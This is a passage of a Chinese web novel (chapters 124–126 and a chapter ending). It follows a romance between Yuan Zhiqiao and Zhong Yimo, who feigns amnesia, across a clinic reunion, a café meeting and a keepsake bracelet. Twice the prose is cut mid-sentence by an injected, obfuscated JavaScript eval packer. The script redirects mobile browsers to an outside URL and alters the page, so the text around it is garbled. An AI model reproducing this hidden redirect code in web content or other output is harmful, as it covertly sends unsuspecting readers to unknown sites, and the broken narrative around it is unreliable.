元之荞仰起脸,也笑着回答:“嗯,好巧啊,克伦威尔先生,我们又见面了。” 是啊,我们又见面了,我的朋友。 “你们认识?”元善走了过来,视线从元之荞移向钟以墨,然后有些戒备地看着钟以墨,站到了元之荞身边。 “认识,”元之荞抢先作答,“他是斯密斯的合作伙伴。” 斯密斯这个身份元善知道,见是女儿工作上的事,元善便不再询问,而是对着钟以墨提醒:“钟先生应要少忧少思,不可过多依赖药物,如此症状才能减缓。” “好的,元医生,”他举起药包,“这个我也会按量喝的。” 元之荞注意到父亲对钟以墨的称呼,她想起白榆给出的失忆情报,决定验证一下对方:“克伦威尔先生有国姓?” “对,”钟以墨看向元之荞,“我父亲姓钟,母亲是英人,所以实际上我姓钟,克伦威尔只是母姓。” “那你的国名叫什么?”元之荞脱口而出,全然没看到元善逐渐变得不对劲的目光。 钟以墨对上元之荞那双翼翼期盼的眼睛,他不想拒绝,却又不知该如何开口。元之荞注意到钟以墨的手指变得不安分起来,他正无知无觉地捻动侧边的西裤面料。 元之荞牵动嘴角,挂上了一个清浅的笑。 还是和小时候一样啊,只要开始纠结和思考,就开始摸这摸那。 她记得他抠过的书桌、卷得乱七八糟的龙祭票券,以及手指头跟着木桌上的螺纹,一圈一圈地比划。 那时她嫌他烦,觉得他既爱说话又爱多动,简直可怕极了。 “嗯?”元之荞抬眉,带着一点打趣,“钟先生忘了自己名字吗?” “我……”钟以墨艰难地开口,终是妥协般地叹了口气,“以墨,我叫钟以墨,”忐忑逐渐从他语腔中退去,可目光却逃离了元之荞的眼,他的声音变得有些慢,西裤被他捏出了一个褶,“钟表的钟,以后的以,墨水的墨。” “以墨?”元之荞绽开一个明媚的笑容,她眼眸弯弯,喜悦皆出自真心,且毫不掩饰,“很好听。” 在这个世界,你和我一样,有了属于自己的名字,也有了对抗剧情的力量。 钟以墨眼睫颤动,听到这个反应,他有些不可思议地移过脸,怔忡地看着元之荞:“真的吗?” 元之荞点头:“嗯,”她笑得更灿烂了,“这个名字很适合你。” 钟以墨的心脏快速跳动,日光渐沉,落到他与她的身上,他忽然觉得这片夕阳,好似一片闪耀的烟花。 他看着她,也跟着笑了起来。 元善看不过去了,他蛮横地插到二人之间,挡住了钟以墨的视线,“之荞,很晚了,我们该回去了。” 听到元善的话,元之荞突然想起自己还有事情没问完,她抻直脖颈,眼神越过父亲,看向父亲肩后的钟以墨,快速说道:“钟先生的钟不会出自钟公馆吧?我听说钟公馆的前主人,就有一个混血的儿子。” “是,”钟以墨的笑容淡了下来,“我就是钟公馆前任主人,钟庆国的儿子,钟以墨。” 元善顿住,原本警惕的神色也瞬间缓和下来,他转身看向钟以墨,眼中有些惊讶:“你是小墨?”钟公馆的事,元善搬来蒲城没多久就听说了,当时他还十分唏嘘,感叹自己与钟大善人约好在陵城相聚,没想到向天江上一别,竟然就成了永别。 约定再也无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037105|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实现,此后时光,便只剩下漫长的怀念。 “小墨,我是元叔叔,”元善上前一步,仔细端详钟以墨,像是要比对小时候的他和现在的他,试图找到熟悉的点拉近两人距离,“你小时候住在陵城,经常来找我家知茂玩呢。” 钟以墨快速瞟过元之荞,随后才看向元善,他嘴角些许尴尬,其实自己是去找元之荞,和元知茂玩是其次来着。不过这话钟以墨没有说明,他换上歉意:“抱歉,我十二岁前的事情都记不清了,就算有也记得很模糊,所以……” 元善听到,顿时语调怜惜:“这样啊……” 骤然失怙,还是在小叔的迫害下双亲离世,这样的打击对一个孩子来说的确无法承受,失忆正是大脑的一种保护措施。元善轻轻拍了拍钟以墨的肩膀:“小墨不记得也好,毕竟人活在将来,”元善带着笑容,邀请道,“去元叔叔家吃饭吧,虽然你可能不记得了,但当年你救了之荞,我还没当面谢过你呢。” “不了,元叔叔,”钟以墨跟着元善的说法改变称呼,“家中还有爷奶,方便的话,下次再让我去您家吃饭吧。” “欸,那好,”元善有些高兴,也有些他相遇旧知的释怀,“小墨空了就去我的医馆,带你去家里吃饭。” 钟以墨看向元之荞:“好,届时我一定拜访。” 他叫了一辆黄包车,元之荞和元善目送钟以墨上车离开,元之荞心中默默,原来他真的忘了。 她有些遗憾。 遗憾他忘了自己,他可是她在这个世界第一个朋友呢,竟然就这样忘了。 她觉得庆幸。 庆幸他忘了那些,那些让人痛苦的、无助的、孤单的,也庆幸他忘了女主。“钟墨”这个角色可从未忘记过唐曦,无论是寄人篱下,还是知晓唐曦与张修正在一起时,“钟墨”从未忘记唐曦。 如今一个男配忘了女主,简直是《绯恋》的重大失误。 元之荞抚上心口的萤光位置,好多年没看到剧情出来作妖了,说不定就是钟以墨的遗忘和改名造成了主线偏离,重创了剧情,故而让剧情再度消失。这样看来,剧情对钟以墨的控制估计将大幅度削减,他不会像原书那样,落得一个凄惨结局。 “对了爸爸,”元之荞问向元善,“钟以墨是来我们家的医馆看病了吗?” “是啊,他来的时候,我还没认出他是小墨。”其实元善连钟以墨原本叫什么都忘了,他印象最深的,一直只有钟庆国。 “那他……”元之荞想了想,还是没把隐疾二字说出口,“病得严重吗?” “不严重,”元善果断回复,失眠几天睡不着而已,就不是什么大病,“调理一下就行,但看他的状态,若一直忧思焦虑,吃药也是治标不治本。” 元之荞若有所思,隐疾嘛,这种事,哪是寻常人就轻易看开的。难怪钟以墨不去仁爱医馆,那边人太多了,被人看到伤自尊,所以才选中即将下班的元氏医馆。病人都走光,馆里也只有爸爸一人,这样既保证了隐私又照顾了面子。 她走近一点,靠近元善:“爸爸,你可是好大夫,你能治好他吗?” 医术和医德得到女儿的肯定,元善忍不住翘起嘴角:“当然,这只是小毛病。” 元之荞放下心来,能治好就好,不然一直自卑,怕是会变成《绯恋》里那样,总是有话不说,到处藏着掖着。 124. 第 124 章 回家之前,钟以墨先去了钟管家那边。 钟管家:“少爷,英国那边来消息了,一个叫诺兰的催您回去。” 钟以墨接过钟管家整理好的消息,包括信件、电报,以及一些手写通话的记录,他快速浏览着,回答道:“知道了,待会我亲自联系他。” “还有一事。”钟管家犹豫着,没有开口。 听到钟管家吞吐,钟以墨登时停下手中翻阅动作,抬头望向对方:“什么事?” “郑处长知道您回来,想招待您去郑公馆。”钟管家面色复杂,语调也透着不喜。 钟以墨听完哼笑,语气很冷:“不必理会,”他低下头,继续检阅手上信件,“若郑处长以后还送请柬,一律冷处理。” “好。”钟管家的音调恢复了正常。 郑处长便是买下原本钟公馆的军阀,也是当初与钟平安合谋,开车派兵围剿钟公馆的司令。如今他早已升官,成了66号委员会三处处长。 升任处长后,郑处长发挥66号的优良作风——铲除异己,清除隐患。 也在这时,他听闻了钟家后人钟以墨忘了当年之事,成了一个彻头彻尾的洋人。郑处长不仅震惊,还十分高兴,毕竟军阀的英援机械,有不少来自克伦威尔名下企业,得罪了克伦威尔,多少都会对他的仕途产生影响。 过去的事情,还是忘了的好。 时间来到前些日子,66号发现钟家老仆探查钟公馆,当然,它现在叫郑公馆了。 郑处长知道后相当恼怒,果断下令深查,66号不负所托,挖到了钟家少爷钟以墨回国的消息。郑处长怀疑探查这事来自钟以墨,于是邀请钟以墨来郑公馆,一来他可以试探钟以墨的失忆真假,二来他或许可以与克伦威尔搭上关系。 钟以墨自然猜到了郑处长的打算,也觉得对方的痴心妄想十分可笑,他怎么可能忘?就算真的忘了钟公馆的过去,左臂上那条狰狞狭长的伤疤也会提醒他。 他不会忘,他也会一直等到可以动手报仇的那天。 “钟叔,辛苦了,你去休息吧。”钟以墨挑出重要的信息,开始一一回复,但还没回到诺兰,对方就先委托大使馆给他打来了电话。 “麻烦您告诉诺兰先生,他的失误,本就应他本人承担,而非找我这个资助人担责……怀疑我?因为我询问过设备买卖的事?还是因为我与诺兰是同学?”钟以墨轻笑,言语风轻云淡,“若我真与华国的电子侦察机有关,等英国安全局查到实际证据了,再来命令我回去……” 挂去一通难缠的电话,钟以墨的表情却并未轻松起来。他看向窗外,夏季白昼漫长,即使日落西山,天空也并未暗去。可当夕阳完全落幕时,黑暗便会瞬间吞噬光芒,换上浓郁的黑寂。 “少爷?”钟管家没去休息,而是买来了西瓜,“少爷小时候最喜欢吃这个了,”他噙着笑,将切好的西瓜放进托盘,摆到桌上,“少爷怎么了?发生什么棘手的事了吗?” 钟管家见钟以墨神情紧绷,不免有些担心,而钟以墨抿出一个淡笑,胸腔渐缓:“无事,”他转移话题道,“钟叔这几天能否帮我找找,看有没有什么品相好的药材。” “少爷哪儿不舒服了?”钟管家连忙追问。 “不是,是我准备去拜访幼时朋友,”钟以墨的笑容真切了些,“她父亲开医馆,想必会喜欢这些。” 钟叔听了也笑,眼下褶子堆作一团:“那既是朋友,老叔就帮少爷挑些品相好、年份佳的药参。” “谢谢你钟叔,还有她的母亲,我不知道梁夫人会喜欢什么,也想一并拜托钟叔……” 第二天午后,钟以墨处理完要紧的事情,回家连着换了好几套衣服,最终在镜子前选定了一套浅灰色的马甲西装,然后驱车前往康华公司。 “组长,那个人又来了。”胡菲敲门。 元之荞手中动作不停:“谁?” “上次那个卷发俊哥,”胡菲双手抱臂,“好像叫亚米的?” 元之荞目光一顿,看着手中的机械仿生苍蝇,为了装载相机和收音做得太大了,不像苍蝇,倒像是甲虫,而且还得有更轻便的材料才能飞起来,她看向闭着的门:“他说来这干什么吗?” 胡菲撅起嘴皮子:“说来问斯密斯夫人的,”她靠到门框边,瞥向过道的方向,“组长,你说他不会看上斯密斯夫人了吧?他三番两次地往这跑,咱们和他的生意谈好了吗?谈好的话,要不要我帮组长把他赶走?” 元之荞打开门,脸上没什么表情,拒绝了:“不用,我还有些事需要找他,他来了也好,”元之荞看向桌面,用眼神示意胡菲,“间谍玩具做好了,但还不够仿生,麻烦你把资料和玩具带去给宋教授,请宋教授给我一些建议。” 胡菲立马站直身子,兴奋地搓了搓手:“好啊组长,我一定秘密完成任务。” 她最喜欢看到组长研制间谍工具了,在她眼里,元之荞简直就是神笔马良,想什么就能做出什么,厉害极了。 元之荞走向前台,钟以墨仍站在上次的位置,不过这次她还未出声,钟以墨就先发现了她。 “元小姐。”钟以墨目光柔和,语中带笑。 “钟先生怎么来了?”元之荞直奔主题,并隐晦地扫了钟以墨一眼,穿得如此齐整,莫非真是看上了斯密斯夫人这个角色? “我有些事想问斯密斯夫人,”钟以墨插在口袋里的手动了一下,“斯密斯夫人不在的话,问元小姐也可以。” 元之荞颦眉:“什么事?” 钟以墨眼神游弋一瞬:“嗯……元小姐有时间吗?介意和我去咖啡馆聊吗?” 元之荞回忆着今天的待办事宜,重要的事情都做了,仅剩下一些琐碎的小事:“有世间,”她歪头,点了点门口的方向,“走呗。” 钟以墨脚步轻快起来,两步并到元之荞身侧:“我开了车,我带你去。” 元之荞看向身侧的男人,钟以墨比她高了大半个头,身高的阴影自然便笼罩到了她的身上,她对这种阴影感到一丝不自在与压迫,主动往外走了半步,隐晦地拉开两人的距离。 她的举动很自然,但钟以墨仍是注意到了,他没有再主动靠近,而是走到车前,打开了副驾驶的门,示意元之荞上车。 “元小姐是学生吗?”钟以墨突然发问。 元之荞看着身上的蓝色短袄长裙,这种款式的确常作校服,但元之荞穿,完全是因为梁桦只给了她这套。“是,不过我学校被炸了,暂时不能去上学,等通知复课,我就不常在康华了。” 钟以墨听出了她这是在给他打预防针,她在预告着,她随时可能不再出现,钟以墨看向车前的道路,装若无意地问:“元小姐在哪上学?” “东南师范。”元之荞随便说了一个被炸的学校。 “是梧桐路那边吗?” “是,”元之荞疑惑,“钟先生知道我的学校?” “知道,”钟以墨笑了,“十年前,那所学校叫东德中学,我也在那上学,”他嘴角的笑容有些凝滞,眼里也覆上宁静,“当时它也被炸了,因为被炸,所以后来我便一直在家上课,不再出门,”他稍稍偏头看向元之荞,“这样看来,我们还挺有缘分的。” 元之荞眸底泛上一丝探究:“钟先生记这么清楚?”而且说的还是十年前的事情。 “叫我钟以墨吧,”他看向后视镜,注意着周边的路况 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元之荞进门后没让钟以墨再帮自己拉椅子,她主动坐下,拒绝了:“其实夫人也有事拜托你,所以我们还是平均分担吧。” 钟以墨不置可否,将菜单递给了元之荞,元之荞看着上面的数字,这才想起身上没带多少钱,只好硬着头皮选了一个最便宜的烤饼干。 应侍生记下,钟以墨拿过菜单,点了焦糖布丁以及两份偏甜的乳制品,元之荞听得心中突突,照他这么点下去,付款时自己铁定要留下来干杂活,以工代钱了。 “钟以墨。”元之荞急忙打断了他,钟以墨抬头,他安静地看向她,等待着她的后话。 “你……”元之荞顿住,对上他懵懂澄澈的眼神,她还是把本欲说出口的婉拒,换成了更为委婉的说辞,元之荞尬笑一声,盯向钟以墨手中菜单,“这么喜欢甜的东西吗?” 钟以墨随着元之荞的视线,也看向了手中握着的菜单。 是不是太明显了?以前强送她陪睡玩偶时,她也不太高兴来着。 “我……”钟以墨望了一眼元之荞,见她把目光转移到了自己身上,还认真地看着自己,钟以墨下意识逃开了眼神,胡乱地回应道,“我、我本来就很爱吃甜。” 钟以墨静了静,再次看向元之荞,试探性地问道:“要喝咖啡吗?” 这家伙,看来是不懂委婉的含义。 元之荞当即抽过菜单,看也不看上面的价格,开始破罐破摔:“一杯卡不提诺,一杯焦糖玛奇朵,”说完,她面无表情地将菜单还给应侍生,“点完了。” “你不高兴?”钟以墨的语气有些小心翼翼。 “没有,”元之荞重重地闭上眼,再睁开时平静许多,她给自己倒了一杯白开水,“说罢,你找夫人有什么事?” 元之荞下定了决心,本来只是想询问钟以墨有没有什么轻便材料,现在,她决定要让钟以墨同意帮忙进口这种材料。这样的话,她不做间谍动物,也能用来做无人探测机。 “我想问斯密斯夫人的丈夫。” 元之荞一口水差点呛住,她急忙放下茶杯,焦急地看向对方:“什么?” 钟以墨藏在桌布下的双手紧紧交握,似有忐忑,他看着微微瞪大双眼的元之荞,问出了那个一直萦绕于他心间的问题:“我想知道,斯密斯夫人怎么看待她的丈夫?她丈夫又是个什么样的人?” 知道这些,是否就能知道她喜欢什么类型的人? 元之荞内心惊涛骇浪,维持着同一个姿势,久久无法言语。 完了…… 全完了。 他真看上斯密斯夫人了。 125. 第 125 章 元之荞灌下小半杯白水,杯底搁上柔软的米色桌布,消融了震惊的声音,她定定地看着钟以墨:“夫人已有丈夫,你这样问,不太好吧?” 钟以墨愣了愣,意识到自己刚才的问题有歧义,便开口解释:“不是,我只是好奇……” “我不知道,”元之荞粗略地打断了钟以墨的话,她目光锐利,似有些不悦,“毕竟这是夫人的私事。” 真可惜,除非你离开蒲城,否则史密斯夫人是不会出现了,她注视着钟以墨,露出一个敷衍的假笑:“不然等夫人回来,你当面问她?” 钟以墨察觉了元之荞的愠怒,他不再说话,温和地牵动起嘴角,也给自己倒了一杯水。日光透过玲珑玻璃,折射出杯子的影子,却在这时被清水全然撞碎,成了无数道深浅交错的辉光。 “抱歉,是我唐突,”钟以墨敛目,轻轻转着杯身玻楞,试图把倒映于蕾丝杯垫上的碎光拼凑完整,“其实按关系来说,史密斯夫人是我的远房表妹。” 元之荞心中一紧,这么巧?她专门挑选过的身份,竟然又和钟以墨扯上关系了? “不过我仅见过她一面,并不了解,”钟以墨笑了笑,抬眼看向元之荞,试图缓和他们之间凝滞的氛围,“没想到在蒲城重新相遇,所以才想关心一二。” 元之荞面不改色,心下却逐渐放松。还好,扯上的关系不大。 “是表妹的话,就更不该这样关心了,”兔子都不吃窝边草,钟以墨你在干什么?元之荞谢过应侍生端来的咖啡,拿汤匙搅拌了一下,继续道,“既是远房表妹,你和夫人的亲缘关系出五服了吗?” 钟以墨以为元之荞是想从他这里得到所扮演角色的信息,于是一五一十地回答:“她是我表叔父养女的女儿。” 元之荞指尖顿住,看向被自己搅散的拉花。原来没有血缘关系,所以你这小子才这么大胆? 再抬首时,她看向钟以墨的眼神带上了恨铁不成钢,喜欢什么不好,偏偏喜欢有夫之妇? 元之荞故意泼冷水:“夫人和先生的关系很好,两人相濡以沫、情比金坚,外人是插不进去的。” 放弃吧,没戏的。 而对面的钟以墨却亮起一丝明悟,像是被灵感点燃:“所以史密斯夫人喜欢一心一意的人?” 汤匙哐啷一声砸沉进杯底,元之荞放下手,双唇抿成一条直线,她用力闭了闭眼,试图平复心绪。 完了…… 全完了。 是个恋爱脑。 元之荞胸腔起伏,忍不住扶上额角:“钟以墨。” “嗯?”他轻声应着。 “你能不能不要再研究别人的丈夫了?” 钟以墨微微张口,还未说话,元之荞就一巴掌按上桌面,迅速打断了他:“钟先生这个条件,一定不缺未婚且美丽的女士追求吧?”她的视线逐渐复杂,“为什么你一定要盯着有家室的夫人?而且人家自有丈夫关心,作为远房还没血缘关系的表哥,你这是不是太习惯了些?” 再不听劝,只能让史密斯夫人沉船遇难了。元之荞心中暗恨,可恶,明明这个身份我还有别的用处,竟然就要早亡了。 “我……”钟以墨怔愣,“是,不过……”他意识到了元之荞在误会了他,于是松开握着的杯身,正直身子,认真解释道,“我没有,也不是,而且我从未想过插足别人的感情。” 没想过个屁,没想过还一上来就问她虚构的丈夫是个什么样的人。 钟以墨看元之荞分毫未变的脸,心中知晓她并不相信。 他脑中小人掐架,一边知道完了,自己可能再也解释不清了,一边又觉得十分好笑,原来她竟然会这样考虑问题。 钟以墨如是想着,一并拿起汤匙,轻轻搅动覆盖糖霜的咖啡,不知不觉间,脑中有趣的部分霸占了焦虑的部分,他低头,轻声笑了出来。 “你笑什么?”元之荞皱起眉。 对上元之荞严阵以待的双眼,钟以墨只是端起咖啡抿了一口,然后便放下,重新置于托盘。 好甜。 未免有些太甜了。 他用那对琉璃般的眸子看向她,轻轻点了点头:“嗯,我不研究别人的丈夫了。” 钟以墨突如其来的转变让元之荞愕然,她稍稍扬眉,端详着他的表情,似在判断他是否说谎。钟以墨又笑了一下,将两份甜点推到元之荞面前,语气诚挚:“真的,我不骗你。” 元之荞半信半疑,刚刚放下汤匙,还未来得及抿一口,就听钟以墨再次开口。 “元之荞,我能研究你吗?” 元之荞倏地将杯子放回原处,暖棕的咖啡在瓷白的杯中快速晃荡,几乎就要漾出来:“什么?” 钟以墨笑得明朗,带着一种得逞的狡黠,他的右手撑住额角,眼中含笑:“我能问问元小姐对史密斯先生的看法吗?” 元之荞噎住:“别人的丈夫我有什么看法?”她双手牢牢握住杯子,似乎想要定住咖啡,让它尽快安静下来。 钟以墨稍加思考一瞬,他靠近餐桌,似乎想更靠近对面的元之荞:“那元小姐是喜欢文质彬彬、富有才学的,还是纯粹热烈、英俊倜傥的?” 元之荞紧急咳嗽一声,掩下唇,身子微微后仰,维持了两人的距离:“我都不喜欢。” 钟以墨挑眉,眼睛弯起,笑意先一步从眸中跑了出来,他拿过纸盒,放到元之荞手边:“那元小姐想过,要找什么样的丈夫吗?” 听到这个问题的元之荞愣了一下,而问出这个问题的钟以墨似乎也瞬间愣了一下。 他对上元之荞探究的双眸,忽而撇开眼神,觉得自己的心脏好像多跳了一拍。钟以墨瞬间抽回放在盒子上的手,端正坐姿。 这次,用笑眼望向对方的人变成了元之荞。 元之荞望着掌中微微泛起涟漪的咖啡,没有说话。 他自然也没有说话。 他自然地拿上餐刀,毫不犹豫地切下了一大块维多利亚海绵蛋糕。 他自然地吃下了一口便放下叉子,转而去喝咖啡。 元之荞抿了一口咖啡,刚刚好,不用再放糖。 她看出了他的尴尬,于是主动转移话题,而他也自然地接上话茬,开始说自己在学医时的趣事。 她的笑意也从眼角溜达了出来,忽略掉钟以墨手上的忙碌,他的表现确实很自然。 但元之荞不打算让他一直自然,毕竟她一向不喜落于下风。 就在钟以墨拿起那杯白开水时,元之荞忽而翘起嘴角,下巴搭到手背,对着他毫无戒备的脸,莫名开口说了一句:“我没想过。” 正要喝水的钟以墨没有说话,只用眼神表达了他的疑问。 “我没想过以后要什么样的丈夫。” “咳咳。”突然的骤咳让钟以墨有些慌乱,他伸手要去拿纸巾,却在手边摸到了纸巾盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078013|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,钟以墨抬眼,发现元之荞正莞尔地看着他,然后把纸巾盒推到了他的手侧。 钟以墨抽出一张纸:“咳,谢谢……” 元之荞眼睛弯弯:“不客气。” 等钟以墨恢复平静,元之荞也歇了调笑的心,毕竟她还有事求人。 钟以墨犹豫一瞬,终于试探地开口:“元小姐刚才的话……” “我的确没想过,”元之荞很喜欢甜的东西,无论是在上个世界还是在这个世界,她用勺子切开布丁,小心地蘸上瓷盘里的焦糖,“我对婚姻没什么设想,也不清楚自己会喜欢什么样的人,所以你说的那些阳光、儒雅……我可能会喜欢,也可能都不喜欢。”毕竟在上个世界,不婚简直是一种常态。 元之荞咽下甜点,笑容在她嘴边绽开,好像这个话题并不会影响到她的生活:“也可能我一辈子都不会选择丈夫,不过幸好,父母并不担心或干涉我的决定。” 她微微歪头看向他,发现他的神情依旧谦和,惊讶只在他的眸中一闪而逝,随后,便是从始至终的温柔,他并不惊讶她的答案。 元之荞不太习惯这样的视线,她错开目光,再度看向餐盘,无意识地问了一句:“你呢?” “我?”钟以墨将手搭到下巴,他注视着面前的女孩,缓缓开口,“以前我不知道自己喜欢什么样的人,所以在长辈的要求下去了很多舞会,当然,也见了很多人。” 元之荞点点头,果然她猜的没错,他应该很受未婚的女士们喜欢,元之荞放下汤匙,抬头看向他:“然后呢?” “然后?”钟以墨的眼神变得悠远,像是在回忆过去,“然后我依旧不知道自己喜欢什么样的人,”他顿了顿,“或者说,我没找到那样的人,”他望着她的面庞,不自觉笑了出来,“不过现在,我觉得我可能会找到。” 元之荞从他清褐色的瞳孔里,清楚看到了自己的影子,她眼睫轻颤,蓦地敛下了视线。 她看到了自己手上的银匙。 银柄勺上模糊地倒映着她的模样,她看着自己,动作比大脑先一步反应,忽而将勺子切进了姜黄色的布丁中。 好像这样,她就能藏起刚才那一刻的心悸。 元之荞清清嗓子,再次转移话题:“你的药吃了吗?” “什么药?”钟以墨依旧看着她,没有移开目光。 “爸爸给你开的药。”元之荞抬眸,她已经调整好了情绪。 “哦,那个啊,”钟以墨想起元善给他开的助眠调理茶包,并嘱咐他一日两壶,钟以墨耸肩,“还没有。” 最近倒时差倒得差不多了,这次见面过后,他的心头困扰也将解决大半,自己不会再睡不着,便没打算喝。 元之荞颦起眉:“病人就该谨遵医嘱,讳疾忌医不吃药怎么行?” 说不定就是这样,才拖成了严重的隐疾。 “好,”钟以墨回得乖觉,他嘴角翘起,露出好看的弧度,“听你的,我回去就吃,顿顿不落。” 元之荞再次噎住,她说起正事:“夫人这边需要一种材料……” 钟以墨专注地听着她说话,不带一点迟疑地与她敲定了合作,看样子,似乎比元之荞本人还开心。 “我去找笔纸,我们把合同签上。”钟以墨起身,先让应侍生去拿笔和纸,然后去了前台支付账单与小费,随后才拿着纸笔返回餐桌。 元之荞仰头看着他,突然问了一句。 126. 第 126 章 元之荞看着钟以墨从前台走了回来,他身材颀长,浅灰的西装马甲衬得他清冷矜贵。在很多方面,钟以墨都像一位典型的西洋新式贵族,礼貌、绅士,外表温润谦和,实际内里却极难接近。 唯一不同的是,他看向她时,总是眉目温和的。 他变了很多,不太像小时候的他,也不像《绯恋》里的他。 “钟以墨,”元之荞坐在桌前,突然有些好奇他们失联的十年,他过的是什么样的生活,她仰头望着他,轻轻开口,“你过得还好吗?” 钟以墨脚步顿住,停在她身前一步,他对上她关切的双眸,唇齿微张,终是忍不住说出了心里话:“元小姐这样问,好像我们是阔别多年的朋友。” “我们本来就是,”元之荞笑笑,她知道他忘了,故而补上别的说辞,“我指的是朋友。” 钟以墨往前迈了一步,把纸笔送到元之荞桌前,重新坐回了原位,勾唇轻笑:“那可不一定。” 元之荞握上钢笔,抬头看他。 钟以墨又低笑一声:“我还没想好要不要和你做朋友。” 笔尖在纸上晕出一个重重的墨点,元之荞低头,并未移开笔头,而是顺着这块印记往后写下甲方二字。“不做朋友也没关系,只要克伦威尔与康华的合作不受影响便好。”她簌簌写着合同的内容,并未注意钟以墨看着她的目光。 他望向她的眉眼,无意间看到她的双手。 她的手指纤细白皙,可两手的指肚与骨缘都生着茧,显然是一双长期操作的手。 钟以墨想起元之荞刚才问他要的材料,虽然不清楚那些材料能做什么,但他知道,她一定常泡在实验室,所以才造就了那样一双手。 钟以墨低首,看向自己的。 手背皮肤因频繁消毒变得干燥泛红,再加上显眼的血管与青筋,它不像一双十九岁少年的手,而像一对三十几岁劳作人民的手。 所以她扮演贵族小姐时,才一定要戴手套吧。钟以墨浅笑,毕竟那些安于享乐贵族们的手,全然不是他们这副样子。 “挺好的,”钟以墨回答元之荞之前的问题,“不算一路平坦,也不算全然顺意,但好在平安康健,所以过得还不错,”他手肘靠到桌面上,“你呢,元小姐?” 元之荞早已停笔,同样看着对方,她想了想,选择了与钟以墨一样的回答:“我也挺好的,虽然难以做到平坦顺意,但好在天性豁达,所以过得也算平安康健。” 他颔首轻笑:“我能直呼元小姐姓名吗?” “不是不和我做朋友吗?”元之荞先前压下的介意还是冒出了头,她将合同推过去,让钟以墨确认并签名,“不做朋友却呼我全名,你有些奇怪。” “叫你之荞哪里奇怪了?”钟以墨签完名的手又悄悄摸上了蕾丝桌布,碰到镂空的地方就止不住地抠揪,“照英国习俗,非……非朋友之间,也能叫得亲昵,这一点也不奇怪。” “可这又不是英国,我们也处于法租界,再说,你是英人吗?”元之荞有些好笑地反问。 “我,”钟以墨一时语塞,手中柔软的图案被他抠得变形,他轻咳一声,突然站起身,“想起我还有事,得先走了,”他拿起自己那份合同,拉开椅子,却在仓皇转身之际回头看了一眼元之荞,并迅速把话说完,“账结过了,不高兴的话,之荞下次再请我吧。” 钟以墨大步离开,不给元之荞说其他的机会,而元之荞看着钟以墨位前的甜点与咖啡,发现几乎没动过。 她淡淡呼出一口气:“看来是真得还他一次下午茶了。” * 钟以墨回家,脱下西装换上常服,打开行李箱翻看一遍,却没找到他想要的。 “奶奶,你有看见一个黑色的丝绒盒子吗?” “哦,那个啊,我放到衣柜下面了。”贾祖惠的声音从厨房方向传来。 钟以墨立刻打开衣柜,果然在下层的衣服边上,看见了那个装首饰的盒子。他拿起盒子托在手中。 盒子很大,一看就知道里面装的是名贵宝石项链,然而钟以墨打开盒子,里面却赫然只躺着一条红色手绳,仅占去了盒子三分之一的位置。 手绳编得并不整齐,串着四颗金花生豆豆,垂坠的绳脚是尾花的模样。 这条手绳稚嫩,还带着一点粗糙,显然是市面卖也卖不出去的款。 钟以墨小心地取下手绳,掰开承载的绒布,拿出下面压着的信件。信封已然泛黄,字迹也部分洇开,但无论是信件还是信纸,都被钟以墨保存完好,没有一丝折痕。 这正是装着手绳的那封信件。 钟以墨抽出其中信纸,展开信件。 [本想祝你平顺,但身处动乱,未来之路无法皆是坦途,想祝你快乐,但一生漫长,失意低谷本就在所难免……愿在远方的你无论遇到什么,都能勇敢豁达、平安乐观] 钟以墨嘴边漾起笑容,轻声呢喃:“比起以前,你现在的字迹可凌厉多了,”他的手指拂过豁达与平安二字,笑意清晰,“但人却还与这时候一样,真好。” “以墨干什么呢?”孙长鉴背着手,笑呵呵地站到门边。 看到孙长鉴,钟以墨急忙放好手中信件,语气紧张:“没事,不过爷爷,怎么了?”他收拾好东西,将盒子用被褥一盖,回身看向孙长鉴。 孙长鉴笑而不语,瞥向露出一半的黑色绒布盒:“以墨有心事咯。” “我哪有心事,”钟以墨起身,拿起一旁元善开的茶包,预备待会煮水泡着喝,他辩解道,“是我今天接了一个项目,刚刚在看合同。今晚还要联系英方,好把事情落实了。” 孙长鉴挑起几许斑白的眉头,假装相信地点了点头,小声道:“放心吧,我不会告诉你奶奶的,你别担心她对你问东问西。” 钟以墨眼神斜瞄向厨房,贾祖惠正在那里忙活晚饭,他单手握拳,掩在唇边,假装咳嗽了一下,同样小声道:“谢谢爷爷。” 孙长鉴伸出食指,将眼镜拉下鼻梁,抬额挑向钟以墨,有些八卦:“今天约人小姑娘了?” “嗯。”钟以墨轻声回答,有些不好意思。 “那你什么时候约她来咱家吃饭啊?”孙长鉴有些期待。 钟以墨这次是真差点咳了起来:“爷爷!你也太快了,”他压低声音,指尖摩挲着药包上的绳结,“她很忙的,我不能经常去打扰她。” 孙长鉴听到,重重地啧了一声,显然有些怒其不争。 钟以墨的眼里却亮起光来,带着雀跃与期待,“不过我想好了,一次上门拜访,一次感谢医生妙手回春,我就有两次见她的机会了。” “剩下的,我再想想其他办法。” * 元之荞将西提咖啡一口未动的甜品打包,并在路上买了些糕点回家。 今天是元知茂和元知荷的生日,虽然两人都不在家,但梁桦和元善仍旧习惯给两孩子过生日。 元善不喜甜,觉得吃糖不够男子气概,但梁桦、元知宁与元之荞一样,每每吃到甜的都将心情愉悦。元知宁看到元之荞提着小蛋糕回来,眼睛顿时都直了,不断念叨着天快些黑,这样他就能吃蛋糕了。 